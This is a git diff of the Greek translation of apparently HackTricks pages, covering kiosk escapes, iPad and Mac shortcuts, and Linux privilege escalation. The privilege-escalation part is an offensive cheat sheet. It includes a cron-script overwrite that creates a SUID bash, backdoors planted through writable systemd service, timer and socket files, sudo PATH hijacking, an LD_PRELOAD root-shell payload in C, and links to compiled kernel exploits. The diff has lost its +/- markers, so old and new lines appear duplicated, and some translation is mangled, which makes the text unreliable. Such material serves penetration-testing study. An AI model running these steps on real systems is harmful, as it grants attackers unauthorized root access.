Είναι μια εργαλειοθήκη που εμφανίζεται στην επάνω αριστερή γωνία της εικόνας όταν κάνετε κλικ. Θα μπορείτε να Αποθηκεύσετε, Εκτυπώσετε, Mailto, Ανοίξετε "Οι Εικόνες Μου" στο Explorer. Το Kiosk πρέπει να χρησιμοποιεί τον Internet Explorer.
#### Πρωτόκολλο Shell
@ -156,10 +156,10 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
## Τέχνασμα περιηγητών
Αντίγραφα ασφαλείας εκδόσεων iKat:
Αντίγραφα iKat εκδόσεων:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)
Δημιουργήστε ένα κοινό διάλογο χρησιμοποιώντας JavaScript και αποκτήστε πρόσβαση στον εξερευνητή αρχείων: `document.write('<input/type=file>')`\
Πηγή: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
@ -169,14 +169,14 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
### Γεστουρές και κουμπιά
- Σαρώστε προς τα πάνω με τέσσερα (ή πέντε) δάχτυλα / Διπλό πατήστε το κουμπί Home: Για να δείτε την προβολή πολλαπλών εργασιών και να αλλάξετε εφαρμογή
- Σαρώστε από τη μία ή την άλλη πλευρά με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/τελευταία εφαρμογή
- Σαρώστε προς μία ή άλλη κατεύθυνση με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/τελευταία εφαρμογή
- Συμπιέστε την οθόνη με πέντε δάχτυλα / Αγγίξτε το κουμπί Home / Σαρώστε προς τα πάνω με 1 δάχτυλο από το κάτω μέρος της οθόνης σε γρήγορη κίνηση προς τα πάνω: Για να αποκτήσετε πρόσβαση στην Αρχική οθόνη
- Σαρώστε ένα δάχτυλο από το κάτω μέρος της οθόνης μόλις 1-2 ίντσες (αργά): Η βάση θα εμφανιστεί
- Σαρώστε προς τα κάτω από την κορυφή της οθόνης με 1 δάχτυλο: Για να δείτε τις ειδοποιήσεις σας
- Σαρώστε προς τα κάτω με 1 δάχτυλο στην επάνω δεξιά γωνία της οθόνης: Για να δείτε το κέντρο ελέγχου του iPad Pro
- Σαρώστε 1 δάχτυλο από την αριστερή πλευρά της οθόνης 1-2 ίντσες: Για να δείτε την προβολή Σήμερα
- Σαρώστε γρήγορα 1 δάχτυλο από το κέντρο της οθόνης προς τα δεξιά ή αριστερά: Για να αλλάξετε στην επόμενη/τελευταία εφαρμογή
- Πατήστε και κρατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad +** Μετακινήστε το Slide to **power off** slider όλη τη διαδρομή προς τα δεξιά: Για να απενεργοποιήσετε
- Πατήστε και κρατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad +** Μετακινήστε το Slide to **power off** slider όλη την διαδρομή προς τα δεξιά: Για να απενεργοποιήσετε
- Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home για μερικά δευτερόλεπτα**: Για να αναγκάσετε μια σκληρή απενεργοποίηση
- Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home γρήγορα**: Για να τραβήξετε ένα στιγμιότυπο οθόνης που θα εμφανιστεί στην κάτω αριστερή γωνία της οθόνης. Πατήστε και τα δύο κουμπιά ταυτόχρονα πολύ σύντομα, καθώς αν τα κρατήσετε για μερικά δευτερόλεπτα θα εκτελεστεί μια σκληρή απενεργοποίηση.
@ -190,12 +190,12 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
| ⌥ | Επιλογή (Alt) |
| ⇧ | Shift |
| ↩ | Επιστροφή |
| ⇥ | Καρτέλα |
| ⇥ | Tab |
| ^ | Έλεγχος |
| ← | Αριστερό Βέλος |
| → | Δεξί Βέλος |
| ↑ | Άνω Βέλος |
| ↓ | Κάτω Βέλος |
| ↓ | Κάτω Βέλος |
#### Συντομεύσεις συστήματος
@ -203,11 +203,11 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
| Συντόμευση | Ενέργεια |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Σβήσιμο Οθόνης |
| F1 | Σβήσιμο οθόνης |
| F2 | Φωτεινότητα οθόνης |
| F7 | Πίσω ένα τραγούδι |
| F8 | Αναπαραγωγή/παύση |
| F9 | Παράλειψη τραγουδιού |
| F9 | Παράλειψη τραγουδιού |
| F10 | Σίγαση |
| F11 | Μείωση έντασης |
| F12 | Αύξηση έντασης |
@ -239,7 +239,7 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
| ^⌥S (Control-Option-S) | Ενεργοποίηση ή απενεργοποίηση της ομιλίας VoiceOver |
| ⌘⇧⇥ (Command-Shift-Tab) | Εναλλαγή στην προηγούμενη εφαρμογή |
| ⌘⇥ (Command-Tab) | Επιστροφή στην αρχική εφαρμογή |
| ←+→, στη συνέχεια Επιλογή + ← ή Επιλογή+→ | Πλοήγηση μέσω Dock |
| ←+→, στη συνέχεια Επιλογή + ← ή Επιλογή+→ | Πλοήγηση μέσω της Βάσης |
#### Συντομεύσεις Safari

View File

@ -6,13 +6,13 @@
### OS info
Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που εκτελείται
Ας αρχίσουμε να αποκτούμε κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Διαδρομή
### Path
Αν έχετε **δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** μπορεί να είστε σε θέση να υποκλέψετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία:
```bash
@ -32,10 +32,10 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικούς ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικούς **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε:
Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
Επίσης, ελέγξτε αν **είναι εγκατεστημένος κάποιος μεταγλωττιστής**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσετε κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσετε στη μηχανή όπου θα το χρησιμοποιήσετε (ή σε μία παρόμοια).
Επίσης, ελέγξτε αν **είναι εγκατεστημένος οποιοσδήποτε μεταγλωττιστής**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσετε κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσετε στη μηχανή όπου θα το χρησιμοποιήσετε (ή σε μία παρόμοια).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@ -160,9 +160,9 @@ rpm -qa #Centos
> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα δείξουν πολλές πληροφορίες που θα είναι κυρίως άχρηστες, επομένως συνιστάται κάποιες εφαρμογές όπως το OpenVAS ή παρόμοιες που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_
## Processes
## Διαδικασίες
Ρίξτε μια ματιά σε **ποια διαδικασία** εκτελείται και ελέγξτε αν κάποια διαδικασία έχει **περισσότερα δικαιώματα από ό,τι θα έπρεπε** (ίσως μια tomcat που εκτελείται από τον root;)
Ρίξτε μια ματιά σε **ποιες διαδικασίες** εκτελούνται και ελέγξτε αν κάποια διαδικασία έχει **περισσότερα δικαιώματα από ό,τι θα έπρεπε** (ίσως μια tomcat που εκτελείται από τον root;)
```bash
ps aux
ps -ef
@ -173,7 +173,7 @@ top -n 1
### Παρακολούθηση διαδικασιών
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.
### Μνήμη διαδικασίας
@ -182,7 +182,7 @@ top -n 1
Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διαδικασιών που κατέχετε**.
> [!WARNING]
> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή**, πράγμα που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλων διαδικασιών που ανήκουν στον μη προνομιούχο χρήστη σας.
> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να απορρίψετε άλλες διαδικασίες που ανήκουν στον μη προνομιούχο χρήστη σας.
>
> Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace:
>
@ -276,7 +276,7 @@ Press Ctrl-C to end monitoring without terminating the process.
#### Χειροκίνητο παράδειγμα
Αν διαπιστώσετε ότι η διαδικασία αυθεντικοποίησης εκτελείται:
Αν διαπιστώσετε ότι η διαδικασία του αυθεντικοποιητή εκτελείται:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
@ -348,7 +348,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
wildcards-spare-tricks.md
{{#endref}}
### Επικαλύψεις σε cron script και symlink
### Επικαλύψεις cron script και symlink
Αν **μπορείτε να τροποποιήσετε ένα cron script** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα:
```bash
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί ένα **κατάλογο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς.
Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί έναν **φάκελο όπου έχετε πλήρη πρόσβαση**, ίσως θα ήταν χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς.
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
@ -378,18 +378,18 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```
## Υπηρεσίες
### Γράψιμα _.service_ αρχεία
### Γραφτά _.service_ αρχεία
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, **μπορείτε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία είναι **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο .service αρχείο με **`ExecStart=/tmp/script.sh`**
### Γράψιμα δυαδικά αρχεία υπηρεσιών
### Γραφτές δυαδικές υπηρεσίες
Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε δυαδικά αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται.
### systemd PATH - Σχετικές Διαδρομές
Μπορείτε να δείτε την PATH που χρησιμοποιεί το **systemd** με:
Μπορείτε να δείτε τη διαδρομή PATH που χρησιμοποιεί το **systemd** με:
```bash
systemctl show-environment
```
@ -405,7 +405,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
## **Χρονοδιακόπτες**
Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα.
Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή τα γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα.
Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με:
```bash
@ -419,7 +419,7 @@ Unit=backdoor.service
```
Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η Μονάδα:
> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ταυτόσημα, εκτός από το επίθημα.
> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ομοίως, εκτός από το επίθημα.
Επομένως, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να:
@ -435,7 +435,7 @@ Unit=backdoor.service
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας έναν symlink σε αυτόν στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας ένα symlink σε αυτόν στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
## Sockets
@ -446,15 +446,15 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
**Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, το IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **περίπτωση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια ενιαία μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία.
- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος χαρακτήρας της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία.
- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **για ενεργοποίηση** στην **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
### Writable .socket files
Αν βρείτε ένα **γρα writable** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η πίσω πόρτα θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **χρειαστεί πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\
&#xNAN;_&#x4E;ote ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_
_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_
### Writable sockets
@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP sockets
Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για .socket αρχεία αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με:
Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε αυτό με:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@ -489,7 +489,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### Γράψιμο Docker Socket
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο.
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο.
#### **Κλιμάκωση Δικαιωμάτων με Docker CLI**
@ -562,9 +562,9 @@ runc-privilege-escalation.md
## **D-Bus**
Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, απλοποιώντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Εντολή Sudo/SUID δυαδικό αρχείο χωρίς διαδρομή εντολής
Εάν η **άδεια sudo** δίνεται σε μια μόνο εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH
Αν η **άδεια sudo** δοθεί σε μια μόνο εντολή **χωρίς να καθοριστεί η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -787,7 +787,7 @@ export -f /usr/sbin/service
- Ο φορτωτής αγνοεί το **LD_PRELOAD** για εκτελέσιμα όπου το πραγματικό αναγνωριστικό χρήστη (_ruid_) δεν ταιριάζει με το αποτελεσματικό αναγνωριστικό χρήστη (_euid_).
- Για εκτελέσιμα με suid/sgid, μόνο οι βιβλιοθήκες σε τυπικές διαδρομές που είναι επίσης suid/sgid προφορτώνονται.
Η κλιμάκωση προνομίων μπορεί να συμβεί αν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμένει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με ανυψωμένα προνόμια.
Η κλιμάκωση προνομίων μπορεί να συμβεί αν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμείνει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με ανυψωμένα προνόμια.
```
Defaults env_keep += LD_PRELOAD
```
@ -804,7 +804,7 @@ setuid(0);
system("/bin/bash");
}
```
